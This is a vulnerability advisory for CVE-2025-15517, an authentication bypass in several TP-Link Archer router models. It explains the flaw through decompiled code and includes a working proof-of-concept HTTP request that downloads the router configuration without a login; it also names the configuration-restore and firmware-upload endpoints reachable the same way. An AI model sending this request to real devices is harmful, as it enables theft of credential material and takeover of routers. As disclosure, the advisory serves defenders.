Skip to main content
HIGH8.6 CVE-2025-15517

Multiple TP-Link Routers: Authorization Bypass in HTTP Server

A missing authentication check in the HTTP server on TP-Link Archer NX200, NX210, NX500 and NX600 to certain cgi endpoints allows unauthenticated access intended for authenticated users. An attacker may perform privileged HTTP actions without authentication, including firmware upload and configuration operations.

The web server’s /cgi request handler http_cgi_main (sub_415F7C) selects a per-request handler from an operation code and a target path, then invokes it. For the operation that invokes a handler by path, the server resolves the path to a registered endpoint and calls that endpoint’s handler without checking either the caller’s session role or the permission descriptor that was attached to the endpoint when it was registered. Endpoints meant for authenticated administrators (configuration download, configuration restore, firmware upload, and others) are therefore reachable by an unauthenticated client that can talk to the web interface.

Technical Details

Request shape

The operation code is read from the query string: http_cgi_main splits the query on & (sub_40A318) and runs atoi on each token, so POST /cgi?8 selects operation 8. Operation 7 is a data-model action, operation 8 invokes a handler by path, operation 9 is a JSON action. The target path is not taken from the URL, it is parsed out of the request body:

  • getObjData (0x415920) reads the first body line, which must have the form [<desc>]<actIndex>,<listLen>. It copies the bracketed <desc> into a buffer with cstr_strncpy and reads the two trailing integers with sscanf.
  • parseDescStr (0x415658) splits <desc> at the first #. Everything before the # becomes the path; the two comma-separated groups of six integers after it must satisfy a 12-field sscanf.
c
// first body line "[<desc>]<actIndex>,<listLen>\n"
if ( line[0] == '[' && (p = strchr(line, ']')) != 0 ) {
    *p++ = 0;                                   // terminate <desc> at ']'
    cstr_strncpy(desc, line + 1, desc_max);
    sscanf(p, "%d,%d", &actIndex, &listLen);    // tail after ']'
}
c
// split <desc> at the first '#'
oid = desc;                                     // path = start of <desc>
s = strchr(desc, '#'); *s = 0;                  // path ends at first '#'
sscanf(s + 1, "%u,%u,%u,%u,%u,%u#%u,%u,%u,%u,%u,%u", ...);  // must return 12

Missing check

Operation 7 gates on the session role stored at offset +0x50 of the request object: if it is greater than 2 the server returns 401. Operation 8 performs no such check. It resolves the path with the alias-lookup routine (sub_40EA04), rejects only two specific handler pointers (the static-file handler sub_40F468 and http_cgi_main itself), and then calls the handler pointer stored at offset +0x28 of the alias:

c
op = atoi(token);
// ... path parsed from body ...
if ( op == 7 ) {                                // data-model action
    if ( *(unsigned int *)(req + 0x50) > 2 )    // session role
        { result = 401; goto out; }             // unauthenticated request rejected
    rdp_action(oid, ...);
}
else if ( op == 8 ) {                           // invoke handler by path
    a = sub_40EA04(oid);                        // resolve path to a registered alias
    if ( !a
      || *(void **)(a + 0x28) == sub_40F468     // static-file handler
      || *(void **)(a + 0x28) == http_cgi_main )
        { result = 71016; goto out; }
    // role (+0x50) and the alias permission descriptor (+0x30) are never consulted here
    (*(int (**)(void *))(a + 0x28))(req);       // handler invoked
}

The permission descriptor exists but is never read

Each endpoint is built by http_alias_addEntryByArg (0x40E494), which stores the handler pointer at +0x28 and the registration-time permission descriptor at +0x30:

c
a = malloc(0x40);
*(int   *)(a + 0x10) = type;
*(char **)(a + 0x18) = path;
*(void **)(a + 0x28) = handler;                 // handler pointer
*(void **)(a + 0x30) = perms;                   // permission descriptor

The registration routine at 0x42CC70 gives the sensitive endpoints a restricted descriptor (a role bitmask whose value is 0xF7) and gives public endpoints an open descriptor (0xFF):

c
http_alias_addEntryByArg(2, "/cgi/conf.bin", 0, http_rpm_backup,  perms_0xF7);  // configuration download
http_alias_addEntryByArg(2, "/cgi/confup",   0, http_rpm_restore, perms_0xF7);  // configuration restore
http_alias_addEntryByArg(2, "/cgi/softup",   0, http_rpm_update,  perms_0xF7);  // firmware upload
// ...
http_alias_addEntryByArg(2, "/cgi/login",    0, login_handler,    perms_0xFF);  // public

Across the whole binary, offset +0x30 of the alias object is only ever written (here), no code path reads it. The restricted-versus-open distinction set at registration is therefore never enforced, and operation 8 reaches any registered handler regardless of session state. The handlers do not compensate: http_rpm_backup (0x413C20, ./src/http_rpm_backNRestore.c) streams the configuration to the client and reads the role at +0x50 only to decide whether to include the backup password, never to deny the request; http_rpm_restore (0x413E40) and http_rpm_update (0x412950) contain no role check at all.

Proof of Concept

An unauthenticated configuration download:

http
POST /cgi?8 HTTP/1.1
Host: 192.168.1.1
Referer: http://192.168.1.1/
Content-Length: 47

[/cgi/conf.bin#1,2,3,4,5,6#7,8,9,10,11,12]0,0

This parses to path /cgi/conf.bin, actIndex = 0 (which must equal the object’s zero-based position in the request), and listLen = 0 (no attribute lines follow). The path resolves to http_rpm_backup, which returns the encrypted configuration with no session check.

Impact

An unauthenticated attacker on the same network as the web interface can call administrative CGI handlers directly. This includes downloading the full device configuration through /cgi/conf.bin, writing a configuration back through /cgi/confup, and uploading firmware through /cgi/softup. The configuration carries the device’s settings and credential material, and the restore and firmware handlers modify persistent device state.

Disclosure timeline

Oct 5, 2025
Discovered
Nov 13, 2025
Vendor notified

Submitted report to security@tp-link.com

Nov 20, 2025
Report acknowlegement
Dec 3, 2025
Vulnerability triaged
Jan 13, 2026
CVE reserved

Reserved CVE-2025-15517

Mar 23, 2026
Public disclosure

CVEs and advisory published

References

Share